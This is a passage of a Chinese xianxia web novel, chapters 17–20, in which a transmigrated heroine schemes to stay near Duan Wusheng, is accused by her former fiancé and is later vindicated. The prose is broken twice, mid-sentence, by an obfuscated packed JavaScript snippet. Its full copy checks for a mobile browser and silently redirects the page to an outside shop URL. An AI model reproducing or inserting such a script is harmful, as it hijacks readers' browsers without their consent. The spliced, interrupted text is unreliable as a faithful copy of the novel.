她一字一顿,怒道:“李寒筝,你使诈!胜之不武!这不公平!” 李寒筝轻轻挑了下眉。 她是个骗子嘛,真拳实肉的打怎么符合她的风格呢,当然要使诈了。 袁期双手抱臂,出声讽道:“洛大小姐好大的威风,难道你以强打弱就公平了么?” 裴玉仪则平静道:“阿意,是你轻敌了。” “师姐,我们从小一起长大,为什么你也帮着她说话!”洛意满腹怒火,有些口不择言:“她就是一个凡人,根本就配不上段师兄。方才场上人人都看见了,这个人心机狡诈,趁我不备偷袭,这岂是正道所为?有本事我们重新比过!” 裴玉仪有些失望,道了一声“阿意”,满含未尽之意,而后便搀着李寒筝转身往前走。 洛意登时眼圈一红,她知道师姐这是对她失望了。 可是她不服,年轻气盛向来顺风顺水的洛大小姐还没有遇见这样的憋屈,不服就是不服。 她将剑鞘砸出去,大声道:“你站住!” 洛大小姐气得大脑空白,但手却是很稳,不偏不倚,正中李寒筝的后背。 李寒筝登时往前踉跄一步,哇地一声,吐出一大口血。 这样的情况是洛意始料未及的,她微微睁大眼,看着李寒筝吐血吐得跟喷泉一样,身前整片衣襟都血红一片,整张脸血色尽失,惨白惨白的。 如果说之前围观弟子尚觉得洛意的指控有几分道理,那么现在,便是觉得此举太过分了。 “洛师姐有点过分了,方才她说李姑娘背后偷袭,她现在这不也相当于背后偷袭么?” “你们看呀,怎么感觉李姑娘快吐血吐没了?都快惨白成一张纸了。” 裴玉仪被这一着弄得措手不及,手忙脚乱贴上止血符,李寒筝却还是吐血不止,整个人的生命力像是在被迅速抽干。 几秒之间,李寒筝浑身被贴满了符纸,苍白的面颊和鲜红的血对比得惊心动魄,她瞳孔涣散地看着裴玉仪被血染红的衣袖,伸出衣袖擦了擦,气息微弱:“对不起……” 然而还未说完,便晕倒过去。 洛意怔在原地,双手颤抖。 怎么……怎么会这样,她只是……只是想让李寒筝别走,分明没用力呀…… 17. 入我之局(4) 昏迷的感觉像是生蛋黄在蛋清里晃荡,粘稠而缓慢。不知多久,她有了点模模糊糊的意识,但是眼皮沉甸甸压着,昏沉感坠着她的意识往黑暗里掉。 而鼻尖一缕咸香勾着她的意识慢慢清醒。 李寒筝脑袋里转过一个念头。 是香菇炖鸡。 她彻底清醒过来,睁开了双眼。 满目金黄扑面而来,窗外的落日正坠入青山之后,金色的夕阳涂抹了半壁苍穹。 夕阳里坐了个人,认真一看,原来袁期搬了把椅子坐在床边,手里端着碗,筷子敲着碗沿,笑道:“终于醒了?我就说,做了香菇炖鸡哪有不醒的道理?” 他往左右看了眼,将碗怼过来,道:“快吃,要不然就来不及了。” 三秒之后,李寒筝脑袋里才转过这句话的意思,此时裴玉仪已经走了进来,伸手将碗一挡,“大病初愈怎么能喝鸡汤?还是喝一些清粥比较好。” 相处了三天,袁期现在对着裴玉仪没有那么拘谨了,甚至还能说几句俏皮话,他捧着碗收回来,摇摇头:“裴道友都发话了,那就没办法了。” 裴玉仪准备的是一碗粥,放了胡萝卜玉米和虾仁。 李寒筝吃了一口就沉默了。 上天给裴玉仪开了无数道门,但是关上了厨艺这扇窗。 裴玉仪的目光里带着期待:“如何?” 李寒筝言不由衷地点了点头,心想厨艺不佳这件事还是得徐徐图之。 除了喝粥还有药,裴玉仪又出门去端药。 李寒筝趁机向袁期一伸碗,袁期也十分默契地在她碗里放了一大块鸡肉。 说话之间,李寒筝理清楚了她昏迷之后发生的事情。 她昏迷后,裴玉仪没有废话,直接抱着她去治疗了。而袁期则留了下来,向洛意挑战。 洛意本就心神不宁,再加上袁期身为男主,标配就是深厚的修为,因此两人的比试,自然是袁期胜出。 说到这里,裴玉仪已经端着药碗走了进来。 李寒筝一哆嗦,嘴里的鸡肉直接给咽了下去,噎得面目狰狞。 裴玉仪看了眼在一旁扣手的袁期,自然知道几分,好笑地摇了摇头,没有点破。 李寒筝喝完粥吃了药,裴玉仪和袁期又陪着她东扯西扯好久。 袁期游历四海,所见所识颇丰,讲起野史传闻来十分生动形象,再加上他十分擅长吊人胃口,讲故事总能引人入胜。 李寒筝就更不用说了,作为一个现代人,她熟知各种套路和设定,无论是狗血的猎奇的,还是感人的恐怖的,简直信手拈来。 裴玉仪并不擅长讲笑话,刻意讲出来的轶事因为刻意而达到了另一种程度上的好笑,此外看着一个大美人讲故事实在是非常赏心悦目。 李寒筝其实知道两人是怕她精神萎靡不振又睡过去了,所以特意拉着她说话讲笑话。 及至太阳完全落山了,最后一缕夕阳也收束于天边的暮色,李寒筝便催着两人离开。 门被轻声带上。 良久之后,李寒筝轻轻叹了口气,低声喃喃道:“这本书的男女主都是很好很好的人呀。” 系统落在旁边的衣架上,歪着头:“三天前的吐血是你特意设计的?没想到你对蜃楼珠的功能开发得这么彻底。” 蜃楼珠能够编织虚假,无论是对旁人,还是对自己,李寒筝为自己编织了一份“受到伤害感觉不到疼痛”的虚假,在比试中感受不到疼痛,才能在洛意手下撑那么久。 但蜃楼珠到底只能编织虚假,而无法诞生真实,因此身体上的伤害仍旧是客观存在的。 李寒筝自认并没有什么超绝的毅力,也不是什么铁打的铜人,她在比武台上第一次倒下的时候就疼得不得了,直接开启了蜃楼珠的无痛幻象。 李寒筝撑着脸,道:“如果洛意那一天没有向我投掷剑鞘,这是意料之中。如果洛意向我投掷剑鞘,也算在我的计划之内。” 她在短时间内连续遭受多处重伤,却因蜃楼珠的作用而被强行压制,而洛意的最后一击,虽然没有用什么力量,但因李寒筝卡着那个点关闭了蜃楼珠的无痛幻象,因此哪怕剑鞘的伤害很小,她也止不住的吐血。 这是她这盘局里的最后一环,利用的就是围观之人的同情。 她必须得在暮山留下来,这样她才有机会接近段梧声并攻略他,可是瞧不起她认为她不配的人很多,与其等着他们明里暗里嘲讽使绊子,还不如和洛意打一场。 百折不挠,拼尽所有力气去战斗,虽然渺小却仍旧勇于一次又一次发出进攻。 这展现了她卓越超群的意志力,但这还不够,不撞南墙不回头常常被人认为是蠢人所为,所以她还要在最后一刻,展现她的谋算和聪慧,置之死地而后生,赢下这场战斗。 可是这仍旧不够,她确实偷袭,这并不算堂堂正正。 因此洛意也必须偷袭一次,并且造成了巨大的伤害。 所以她用大量鲜血和长时间的昏迷将洛意不甘心的行为定性成偷袭,并且最大程度地激起了众人的同情和钦佩。 当然,主要是男女主的同情,这最为重要。 李寒筝将手张开又握上,叹了口气:“果然还是太弱了,为了达成一件目标付出如此之多的筹谋。” 系统眨了下眼。 其实已经很厉害了,她开局只是一个躺在泥坑里即将被活埋的表小姐,任务却又很难达成。 她从地狱开局走出了一条路,环环相扣,一步漏掉,便满盘结输,但是她执行得很漂亮。 不过这些评价系统都没有说出口。 毕竟它的宿主是个自信脑,不用夸就已经很容易莫名其妙自信起来了,一夸更不得了。 * 正是傍晚,夕阳余晖逐渐黯淡成夜色的深沉,本该热闹的时间段,丹秋城却寂静无声,只有落叶在街道上飘来飘去。 三年来发生三十四起失踪事件,城中居民惶惶不安,生怕下一个失踪的就是自己,因此还没入夜,家家户户便已经紧锁了门。 一家客栈的老板掏着钥匙正准备锁门,两扇门将将合上之际,一柄素白的剑鞘挡在了中间。 老板姓冯,名叫冯昌,他抬起头来一看,是个俊美无铸的仙君,穿着一身月白的衣裳,身姿笔挺,雪冷玉皓,像是仙人下凡。 冯昌心下一跳,赔出笑脸:“仙君这是要住店?这可不巧,小店已经住满了。” “是么?”段梧声淡淡开口:“窗上没有灯火,阁下确定已经住满了?” 冯昌苦着一张脸:“不瞒仙君,城里近几年不太平,不是怀疑仙君的意思,只是我等平头百姓,实在胆子小,不敢掺和进去。” “真的只是平头百姓么?” 段梧声手中用力,剑鞘在门上一敲,两扇门彻底开了,风吹着两扇破旧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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事已至此哪还有什么想不明白的,冯昌苦笑一声,目光里淬着绝望和仇恨,直射向段梧声,“你诈我?” “不过一个小把戏,你好歹也在暮山修行过一段时间,怎么还上当了?”段梧声缓缓走近,“还是说有谁已经等不及了,你急着回去饲养它?” 冯昌脸色倏忽变了:“你怎么知道我曾在暮山修行过?” 段梧声垂下眸,肩头垂落霜白的月光,仰视的角度让他看起来更像是漠视人命生杀予夺的神明。 “你隐匿的阵法做的不错,行事也很谨慎,本该是前途光明的修士,何故伪装成一个客栈老板苟且在此?” 冯昌笑了两声,几乎不能称为笑,更像是哀到极致的哭:“是啊,本该前途光明……可我……爱上了一个不该爱的人。” “你称之为人么?”段梧声轻轻皱眉,“你该知道,秽种不会有情,他们天生以杀戮为乐。” 秽,意味着肮脏污浊,这个形容很恰当。因为秽种是人魔结合的产物,不属于人也不属于魔,天生无情无心,不辨五色,不食五味,只有杀戮的时候才能感知到愉悦,因此秽种天生追逐杀戮,这是他们的天性,也是刻在骨子里的本能。 也曾有过一对夫妻觉得幼子无辜,试图唤醒一个秽种的神智,悉心照顾,百般教导,结果却在那秽种九岁的时候,被残忍杀死。 种种事例证明秽种不可感化,不可怜悯,因此不论是修士还是魔族,对于秽种都是格杀勿论。 “是啊,我知道,”冯昌伏在地上,回想起什么,唇角爬上笑意:“可她是不一样的,她很爱娇,喜欢漂亮衣服和首饰,也爱生气,一个不顺心就要发脾气,但她生起气来也是好看的……” “是么?”段梧声轻声打断,“那么,我们来打一个赌。” 18. 入我之局(5) 门是被砸开的,一个血肉模糊的东西被扔了进来。 沈若惊了一跳,但她双腿已残,动也动不了,立时从枕头下抽出冯昌为她准备的长剑,看向声响处。 好一会,她辨认出地上那团血肉模糊的东西,正是冯昌。 一个衣白如月的人走进来,提着剑扯了一条长椅坐下。 这个屋子很小,中间一方桌子并几条长凳,床就放在右侧三四米的地方,沈若甚至能够清楚地看见来人剑鞘上的花纹。 秽种对于危险的感知向来是敏锐的,只一个照面,她就知道她打不过,也绝对逃不了。 种种念头在脑海中一滑而过,沈若笑起来,眼睛由下往上看,勾着丝丝缕缕的妩媚,她一手撑着床铺,身子一低,藕粉色的上衣就落了半截,露出光滑的半边肩膀,白得像是热腾腾的牛乳。 “郎君,”沈若每一个字都念得缠绵,好似裹着蜜糖,“你这是做什么?奴家腿不好,郎君不要吓我。” 段梧声对门而坐,视线未动分毫,“你认不出地上的人么?” 沈若扯了纱袖半遮住脸,哀哀道:“郎君此话何意,奴家家世清白,腿又不好,平日里足不出户,哪识得什么人?” 一句话落下,像是坠入了深井,段梧声身形未动,依旧气定神闲地扶剑端坐,沈若有些摸不准这人的意图,咬咬牙,畏缩着倾向烛灯,纤长的手指拂过灯烛,有细微的粉末簌簌而下。 “此毒于我无用。” 沈若一怔。 “我劝你不要轻举妄动,”段梧声望着庭中的霜白月色,两枚漆黑的瞳仁却透不出半点光,“既然已经有了一把剑,那便好说了,你们两个,我只留下一个,留下谁,你们自己决定,提醒一下,别想着逃,你们是绝对逃不掉的。” 他说完,便走了出去,衣袍消失于门框的瞬间,门“砰”地一声合上。 沈若攥紧剑柄的手中出了点汗,她吞了一口唾沫,看向地上的冯昌,冯昌也醒了,睁着一双哀哀的眼睛看她,像是某种濒临死亡的动物。 段梧声在门外等了大约一刻钟,便推门而入。 不出乎他意料,被杀的是冯昌。 一柄剑刺穿胸膛,脸颊上还残着两行泪。 沈若坐在旁边,双手还紧紧攥着剑柄,洁白的脸上溅开血迹,牙齿紧咬着,下颚线绷紧,是冯昌口中那个“爱娇爱生气”的沈若。 只是,恐怕冯昌没意识到,爱娇的沈若杀他时也能如此干脆利落。 那一刻钟,是段梧声计算沈若从床上爬到冯昌身边的时间。 段梧声挑了把干净的长凳坐下,道:“我和冯昌打了个赌,赌约是,若在二选一中你没有选择杀冯昌,甚至是没有在一刻钟内杀掉冯昌,那么我就放了你们两个,若是你选了杀冯昌,那我便连同你们两个一起杀掉。” 沈若瞪大眼睛,额角青筋鼓起,然而还没来得及吐出一个字,段梧声已然在话落之时挥动手指,长剑立时从剑鞘中飞出,干脆利落地捅穿了沈若的心脏。 沈若扑倒在地,嘶哑大吼:“你竟然戏弄我!” 段梧声道:“是你输了。” 沈若又哀哀地哭起来,眼睛里盈着泪:“仙君,放过我吧,我虽是秽种,却也有心,你看看我的脸,看看我的眼睛,好不好?” 还是没有回应。声音被冰冷的月光冻结,只有很远很远的地方,传来一声犬吠。 沈若眼中的哀求一点点消失殆尽,淬上嫉妒和仇恨。 她死死盯着段梧声,忽而大笑起来,“装什么冠冕堂皇高高在上呢,你不也是个秽种么?同类的味道,就是这么恶心难闻,隔老远我就闻到了,恶心!真是恶心!给仙门做走狗!你真是秽种里的败类!” 段梧声垂下眼睫,只道:“冯昌为你杀了这么多人,放弃前途成了个仙门耻辱,你杀了他,不后悔么?” “后悔?”沈若阴阳怪气道:“为什么会后悔?这都是他一厢情愿,都是他蠢!你作为秽种,为什么会问出这个问题呢?” 沈若定定看着段梧声的脸,扯出一个笑容,更加阴阳怪气了:“啊我知道了,你想当人,是不是!哈哈哈……真是可笑,可笑!可笑至极!你一个秽种,也想洗干净当人,你配么?” 她又大笑起来,像个疯子,不顾胸口汩汩流出的鲜血,笑得眼泪都流出来了。不过,秽种本来也感知不到疼痛,他们只对杀戮感兴趣。 “诶,临死之人,都该说点什么来给赢家倒胃口吧?”沈若擦了擦眼角的泪,故作思索道:“说什么呢?说什么能够让你生气愤怒呢?” “啊我知道了,”沈若状若疯癫地爬过去,将已经死掉的冯易抓起来,正对着段梧声,亲昵地以脸颊贴着冯易已经冷硬的脸,柔声道:“那就诅咒你跟这个蠢货一样,爱上一个永远不会爱你的人,你将会被她亲手杀死,至死也得不到她的一点动容!” 段梧声觉得有几分可笑,他起身往外走,不愿再看这一场闹剧,走出院子的同时,木屋内一场大火燃起,熊熊之势不可阻挡,映亮了半个夜空。 所有一切都会在这场大火中烧干净,冯易一厢情愿的爱恋,会随着火焰一起化为飞灰。 这时,段梧声不缓不慢的脚步突然停了下来,一只灵鸦落在他的肩头。 他在灵鸦上施展了禁术窥风咒,能够将跟踪之人的所作所为记录下来。 这一只灵鸦,跟踪的便是他的“夫人”,李寒筝。 灵鸦落在他的手心,慢慢消散。 段梧声闭上双眼,“看”见了这几日发生的事情。 片刻后,他睁开眼,轻笑了声,“看来,我的这位夫人,果真坚毅执着,不屈不挠。” 他又捏出一只灵鸦,分了一缕灵识进去,“去,帮洛意找一找线索。” 灵鸦飞走之后,他抽出剑,而后不缓不慢地在胸口上刺了一剑。 鲜血从月白的衣料中浸出来,染红一片。 段梧声不在意地用手指压了压,逼出更多鲜血来,声音轻而缓。 “毕竟,只有受了伤,才能名正言顺地不去管我的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17177313|196917||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那位夫人。” * 此后几天都清闲且平静,李寒筝闲来无事,便依照记忆中的配方弄出了炸鸡。 袁期捏着这奇形怪状的东西看了半晌,怀疑李寒筝想要毒害他,犹犹豫豫地咬了一口,发现此物酥脆爆汁,甚是美味。 他挑眉看着李寒筝,不可置信道:“难不成你真是个天才?” 李寒筝傲娇颔首。 是的,她就是个天才。 此时裴玉仪疾步而来,神情有片刻的犹豫。 李寒筝招了招手,道:“来得刚刚好,炸鸡刚出锅呢……怎么了裴姐姐?发生什么事了么?” 裴玉仪好看的眉毛皱起来,声音凝重:“寒筝,你去了就知道了。” 袁期讶异地挑了挑眉,这是又弄什么幺蛾子? 裴玉仪带着两人来到琅华殿。 琅华殿外此时围观着不少弟子,交头接耳,窃窃私语,看向李寒筝的目光里饱含鄙夷。 “她都有了未婚夫,怎么还来攀扯段师兄?” “呵,这些凡间女子,身份卑微,为了飞上枝头变凤凰什么都做得出来。” “真是叫人不耻,幸好洛师姐亲自去查探了一番。” “司厄大人呢?他怎么不在?” “司厄大人出任务受伤了,现在好像是在明峦峰治疗。” “我们司厄大人每日勤勤恳恳斩妖除魔,结果他的善心反而便宜了这些汲汲钻营的女子。” “这女子果真心机过人,才来了没几日,裴师姐也被她给蒙骗了。” “诶,别说了,说不定事情的真相并非如此呢。” …… 裴玉仪握紧刀柄,越听眉头越皱,她刚想出声呵斥,然而李寒筝勾住她的手,轻轻摇了摇。 李寒筝并不是很在意这些谩骂诋毁,她神情平静地向前走去,所过之处如同山川分海,人群自动让开,像是见了什么脏东西。 踏入殿中,掌门及诸峰长老位于上首。洛意站在下方,对着她比了一个口型:“你完蛋了。” 李寒筝没做声,目光滑到位于洛意身旁的男子。 这人的相貌算得上清秀,只是眼睛里欲望太多算计太多,怎么掩饰也盖不住,便显出几分獐头鼠目。 男子一看见她,目光闪避到旁处,做出一幅沉痛的样子道:“寒筝,你怎么能做出如此之事,我齐朔自认待你不薄,走南闯北备下一份丰厚的聘礼准备迎你过门,你怎么……唉,你怎么生了这样的龌龊心思。” 李寒筝轻轻挑了下眉。 她知道这个人是谁了。 原主的未婚夫,齐朔。 亲手把自己的未婚妻献给贪淫好色的李府公子,一个虚伪无能卑鄙无耻的男人。 齐朔伸出手想要拉扯她,将深情和无奈表演得淋漓尽致。 “寒筝,跟我回去吧,你只是一个凡人,怎么配得上这些腾云驾雾的仙君?跟我一起磕个头,仙君们心善,会大人不计小人过放过你的。我们回去好好过日子吧。” 19. 入我之局(6) 袁期上前一步,将他拉扯的手挡开。 齐朔便也没有再试图接近,隔着五步的距离继续深情表演。 表演的从始至终,他不敢看李寒筝的眼睛,他是个唯利是图的人,为了利益能够放弃一切背叛一切,包括美丽顺从的未婚妻,包括自己的良心。 将未婚妻送到李府公子床上的那一晚,他亲眼看见自己向来柔弱温顺的未婚妻竟刚烈得跳了楼,宁死不屈,他害怕得三夜没睡着。 此事他并不后悔,只是心想装模作样什么,好好依附于李公子为他赚一笔不行么?出家从夫,夫命是天,怎的如此不识好歹。 那晚看着未婚妻惨死,他从李恪那里拿了一笔钱天没亮就离开了,回到家中,他说未婚妻不守妇道,与人苟合,被人撞破后羞愧自尽。 说得有头有尾,旁人都信了。但他仍是害怕,害怕午夜梦回之际,那总是细声细语的未婚妻,前来索他的命。 碰见洛意,他意识到这是一笔好买卖,假惺惺地连连拒绝,将报酬拉到了五百两黄金。 当时洛意嗤了一声,道:“没想到李寒筝那样坚韧刚毅的人,竟然有你这么个虚伪的未婚夫。” 齐朔只赔着笑。 此前种种,说谎的人总不能自己也相信了自己编造的谎言,因此他不敢看李寒筝的眼睛。 那双从高楼坠下来,寂静无声,含着泪水的眼睛。 洛意轻飘飘扫了眼这字字深情的表演,面向掌门,朗声道:“掌门,我去南熙城调查李寒筝的过往,竟然发现这李寒筝原来有一个自小订亲的未婚夫,可见,之前李寒筝与段师兄之间的种种,都是她胡乱虚构而成。” 段凌的神色看不出喜怒,只道:“可有证据?” 洛意扫了齐朔,齐朔立马一哆嗦,赔着笑,从衣襟里掏出一本朱红烫金婚书。 婚书打开,清晰地烙印着两个名字。 “李寒筝,齐朔。”洛意慢条斯理地念出来,目光入电看向李寒筝,“我不知,你竟如此虚伪。你既有未婚夫,又和段师兄何来的一段情呢?” “要么,就是你同时钓着两个人,谁的前途好便依附于谁。要么,便是你胡编瞎造,抛弃未婚夫,不安于室。” 眼见洛意越说越难听,裴玉仪轻喝一声:“够了,洛意!” “不够,”洛意一字一顿,“敢做就要敢当,如果是假的,大可以辩驳,而不是阻止我往下说。” 此时,无人注意的角落,一只透明的灵蝶静悄悄地停立在窗扉上,将琅华殿内所发生的一切实时转送到段梧声的眼中。 明峦峰的医馆内,段梧声坐在床上,由药童服侍着换药。 他上身的衣服褪至腰间,露出瘦而不失健壮有力的胸膛,每一根线条和肌理都流畅精致,完美得好似天工打造,从宽而直的肩膀收束入窄瘦的腰线,浑然天成。 药童看着,有些艳羡,但也知道段师兄付出了常人所不能及的艰辛和努力,所以并不奢望。 他看向段师兄的肩膀。 左肩处一道寸深的伤口,魔气腐蚀的痕迹蔓延开来,呈现深紫色,破坏了整体的美感,显得有些触目惊心。 药童放轻了呼吸开始换药,整个换药的途中,段师兄一声未吭,唇边含着浅淡的笑意。 段师兄果然很温柔呀。 药童不由得在心中暗暗赞叹,同时忍不住问道:“师兄,你这次对付的魔兽一定很厉害吧?” 段梧声垂眼看着肩头的纱布,笑了下:“确实很厉害。” 药童关上门离开了,并不知道他心中很温柔的段师兄从始至终都在留意着琅华殿中发生的一切。 * 段梧声好整以暇地倚在床板上,漫不经心地通过灵蝶看着琅华殿内的闹剧。 洛意没有辜负他的期望,按照他给的线索查到了齐朔。 当然,这整个过程,他没有参与分毫,毕竟他当日亲口承认李寒筝是他的夫人,如此一来,便只能置身事外。 忽然,他发现了一件事。 好像从始至终,李寒筝没有为自己辩白一句。 她只是安安静静地站着,没有愤怒,也没有悲伤,静静地看着齐朔造作的表演,和洛意慷慨激昂的陈词。 好像这些都与她无关。 段梧声轻轻皱起了眉。 说实话,他并不理解冯易对沈若的爱,也不理解世人对情爱的追逐与热衷,甚至觉得这种爱恋的情愫十分虚伪,他觉得情人的山盟海誓都是镜中花水中月,美丽不过一瞬,便消散无踪。 因此他也不能理解,为何李寒筝费了这样的心思,只为他身边一个“夫人”的身份。 此时琅华殿内仍在争执不休。 但是洛意已经取得了压倒性的优势。因为齐朔和原主是未婚夫妻,至少曾经是,这是不可辩驳的事实。 袁期嗤笑一声:“李寒筝可是我的义妹,你觉得她能够看得上这么个獐头鼠目的丑男人?” 齐朔听得脸上一阵青一阵白,五颜六色,好不精彩。只是他一点也不敢辩驳,只能憋屈地装作没听见。 出人意料的,洛意也没有辩驳这句话。 几日前一战,虽是她不愿回想的黑历史,虽然她确实觉得李寒筝胜之不武,但是她同样不否认,李寒筝是个有韧劲和恒心的人,值得她高看一眼。 只不过选男人的眼光差了点。 洛意沉默了会,直直看向李寒筝:“听我们说了这样多,装没事人一样,现在你总该说两句吧?” 李寒筝低垂着眼,很久没说话。 她还没学会这个世界的繁复发髻,因此鸦黑柔软的长发只是半扎半披,束着一根杏黄色的发带。 发带和长发轻轻拂起,卷过她苍白的面庞,她人只是纤细的一竖,此际看着,像是寒风中易催折的嫩柳。 李寒筝缓慢抬起眼,轻扯唇角笑了下,是个不成形的笑,像是一朵鲜妍的花骨朵还没绽放便在狂风暴雨里凋零了,显得有些哀伤。 她轻声细语说:“我想知道阿梧的回答。” 段梧声透过灵蝶看着她苍白近透明的侧脸,眉心忽然跳了下。 片刻后,一名弟子急匆匆来到明峦峰,详细简述了当下的情况,得了回答之后又御剑回到琅华殿。 琅华殿内此时寂静一片,呼吸可闻。 传话弟子踏入殿内,播放留音石记录下的答案。 声音听起来遥远而明澈,带着重伤的沙哑:“她既已有未婚夫,便放她离开吧。” 李寒筝默了片刻,双手交叠于身前,俯身一拜:“是我谎话连篇,存心攀附,寒筝知错,现下……” 说到这里,她停顿了许久,像是极为艰难似的,字字平静而暗流涌动:“现下……便离开了,遥祝段仙君长乐顺心,福绥安康。” 她起身时,有一滴泪从眼角滑落,只是她转身很快,毫无停顿地迎着殿外的天光大步而去。 因此那滴 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袁期:“你也别太难过,毕竟你长相不行……什么?” 袁期有点子无语住了,“姑奶奶,这个关头了,你怎么还想着吃东西?” 李寒筝砸吧了下嘴,像是回味:“吃铁锅炖吧?好久没吃铁锅炖了。” 袁期有种皇帝不急太监急的感觉,苦口婆心道:“李寒筝,你一点都不难过的吗?还剩下不到两个月了你知不知道?还是说你太过伤心,开始胡言乱语了?” 李寒筝怪异地看了他一眼,反向安慰:“失败乃人生常事,但是吃饭不一样,天大地大,吃饭最大。” 袁期无语,“走吧,去吃铁锅炖。” 于是两人向着最近的镇子出发,去吃铁锅炖。 * 店小二拿着纸笔,擦了擦汗,“二位客官的意思是,大鹅一只,两斤重鲶鱼一条,以及活虾二斤,排骨二斤吗?” 店小二越说越不确定,怀疑自己听错了。 岂料两位顾客点点头,一位道:“心情不好,没什么胃口,吃这些就可以了。” 另一位道:“别忘记加点蔬菜,店里有的都来一点,我兄长不差钱。” 店小二心里惊了一惊,暗叹这是什么奇葩兄妹,便依言去备菜了。 食材太多,店里的锅都装不下,店主一听来了大客户,兴高采烈如遇知音一般,翻出了珍藏多年的大锅。 吃完饭,袁期道:“你下一步打算如何?” 李寒筝伸出一根向上的手指。 袁期:“你要上天?” “不,”李寒筝摇了摇头:“我保证,一个月,不,半月之内,段梧声会主动找我。” 又莫名其妙自信上了。 袁期忍住翻白眼的欲望,目光像是再看傻子,恳切道:“你疯了?” 李寒筝高深莫测道:“你先不要离开,在此地寻一家客栈住下,不出三天,不,今晚你就能知道为什么了。” “那你呢?” “秘密,”李寒筝故作高深地嘘了一声,而后伸出洁白的手心:“有什么好用的毒药,给我整点呗?” 袁期挑眉:“你要毒药干嘛?” 李寒筝微微一笑:“我自有用处。” 20. 入我之局(7) 夜间下了雨,在屋瓦上叮叮当当敲成一片。 袁期记着李寒筝的嘱托,便没有睡,拿了一本书守在烛台边。 “笃笃笃。”敲门的声音。 来人从大雨中来,浑身却未沾上一滴雨。她手中拿着一把刀,包裹着黑色的刀鞘。 袁期扣着门扉的手指蜷了蜷,“裴道友?” 裴玉仪轻轻颔首,“袁道友。” 打过招呼后,裴玉仪说明来意:“你是寒筝的义兄,我来找你是为了寒筝的事情。” 裴玉仪的想法很简单,她并不相信他人的一面之词,只相信自己的眼睛,所以她决定亲自去南熙城一趟。 袁期犹豫了好一会,他知道其中内幕,也知道重伤失忆什么的都是李寒筝编造的剧本。 如果真去南熙城查,岂不是破绽百出。 但是他忽而又想起李寒筝胸有成竹的神情。 李寒筝这个人,真的很奇怪,她说着不着调的话干着不着调的事情,但是往往她要做的事情都能够完成。 两个人都是修士,睡眠并无必要,大雨也不成阻碍,便即刻出发。 三日后,两人再次来到南熙城。 本来以为此番调查定是繁琐费力,毕竟李寒筝可是一个大门不出二门不迈的闺阁小姐,平日里所往来的人肯定很少。 但是没想到一问起李寒筝,南熙城里的人上至街边老叟,下至垂髫幼童,皆是赞不绝口,夸赞她是菩萨转世神女下凡。 “你说李府的表小姐,哎呀呀,她可真是个大好人,我邻居的女儿,就是被那李府的豺狼给祸害了,年纪轻轻就没了,邻居夫妻俩就这么一个女儿,整日整夜的哭,还是表小姐给他们女儿办了后事,又给了他们一大笔银子讨生活。” “她人长得漂亮又有善心,喏,看见了吗,就是那个挂着‘慈心堂’字样的,就是表小姐设立的善堂,每日免费给穷苦之人分发米粥和馒头。” 两人在众人热情的七嘴八舌中总结出了李寒筝的善行,她继承了李府的财产之后一点未贪私,不仅为那些被李恪祸害的女子敛骨立碑,还救济穷人设立善堂。 裴玉仪又打听到了曾在李府贴身服侍李寒筝的侍女柳然的居所,问起齐朔,柳然愤愤不平地啐了口。 “齐朔就是个狼心狗肺的负心汉,他亲手把小姐送到李大公子的手里,逼得小姐跳了楼,要不是下面刚好是池塘,小姐就没了。” 柳然提起往事,眼圈还微微泛红:“而且!齐朔从李大公子那里捞了钱当晚就跑了,全然不顾和小姐之间的承诺。” 裴玉仪问道:“什么承诺?” 柳然像是有些为难的样子,直到裴玉仪保证了绝不会对李寒筝有害,这才吐了一口气,缓缓道:“小姐十五岁时曾捡到过一名重伤失忆的男子,小姐同他情投意合,可惜三年之后,那名男子突然不告而别。小姐担心他是遭遇到了什么不测,便急着要去寻。” “只可惜,”碧桃眼圈又红了,“小姐的运气不好,这一年老爷和夫人都去世了,去世前担心她孤苦伶仃一个人,便强行给小姐又订了一门亲事。” “小姐也是没有办法,可是看着双亲担忧的模样,却又不得不答应下来。小姐本来和齐朔说好了,等父母葬礼办完,便解除婚约,没想到齐朔看着人模人样却是个包藏祸心的无赖,他不仅将解除婚约一拖再拖,还为了钱财把小姐送给了李恪。” 说到此处,柳然眼中带了点刻骨的恨意。 裴玉仪又寻了李府之前的账房先生和贴身服侍李恪的小厮,验证了此前齐朔确实和李恪有这么一笔交易,而齐朔只是拿了五十两黄金,就将李寒筝给卖了。 “表小姐生得好看,大公子一直心有垂涎,便把主意打到了她的未婚夫身上。”小厮说到这里冷笑:“齐朔那个伪君子,起初还装模作样扯什么不是君子所为,到头来还不是五十两黄金就把未婚妻给买了?” 裴玉仪和袁期在南熙城四处取证调查了两天,所得出的结论基本一致。 袁期也终于明白了李寒筝说的那句“段梧声会主动找我”是什么意思了。 从众人言论中拼凑出来的李寒筝,俨然是一个美丽正直乐善好施没有私心的活菩萨,悲苦而不堕,孤愤而不弃,世界以痛吻她,她却报之以歌。 谁要是辜负她,啊,那真是该死啊,是半夜回想起来都要扇自己三巴掌的程度。 * 三天后,袁期再一次踏入暮山的地界,觉得空气分外清新。 这一次他带着沉甸甸的证据回来打脸了。 难怪李寒筝整天里神神叨叨,原来早就算计好了一切。不过,这种感觉真的很好。 裴玉仪用通讯符联系了段梧声和洛意,只说了“事关李寒筝”便切断了声音。 半个时辰内,两个人都到了。 裴玉仪一一摆出证据。 账册上的记录。 留影石内各色人脸各种声音的称赞。 柳然字字泣血的控诉。 “小姐她人真的很好很好,但是为什么,这么好的人却总是命不好呢?” “她为穷苦之人建造善堂……” “她为无辜女子敛骨立碑……” 一声声,一句句回荡在洛意耳边。 垂下的手指紧紧攥着,洛意突然发现她有些不敢再看。 难道她还能自欺欺人么?难道她还能固执己见么? 原来,从始至终,是她误会,是她听信了齐朔的片面之词。 洛意一直记得那日在大殿上李寒筝的神情。 